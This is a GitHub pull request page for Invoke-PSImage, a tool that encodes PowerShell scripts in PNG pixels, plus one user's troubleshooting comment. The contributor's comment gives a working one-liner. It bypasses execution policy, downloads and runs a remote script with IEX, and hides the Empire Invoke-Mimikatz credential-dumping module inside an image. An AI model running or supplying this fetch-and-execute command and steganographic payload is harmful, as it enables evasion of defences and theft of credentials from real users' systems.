peewpw / Invoke-PSImage

Encodes a PowerShell script in the pixels of a PNG file and generates a oneliner to execute
MIT License
2.16k stars 397 forks source link

Added ability to download script from web #6

Open dxflatline opened 6 years ago

dxflatline commented 6 years ago

Using this mod you can have the script downloaded from web since it is easier for oneliners. The parameters are now not mandatory though :(

powershell -noprofile -executionpolicy bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/dxflatline/Invoke-PSImage/master/Invoke-PSImage.ps1'); Invoke-PSImage -Image c:\temp\stc.jpg -Out C:\temp\stc-out.png -WebScript https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1

killercoderz4 commented 6 years ago

good day sir. when i build a sample file that pop up calculator. sample ps1 file. i followed your steps as explained in the readme. it build the output png successfully. but when i run it , it doesn't trigger anything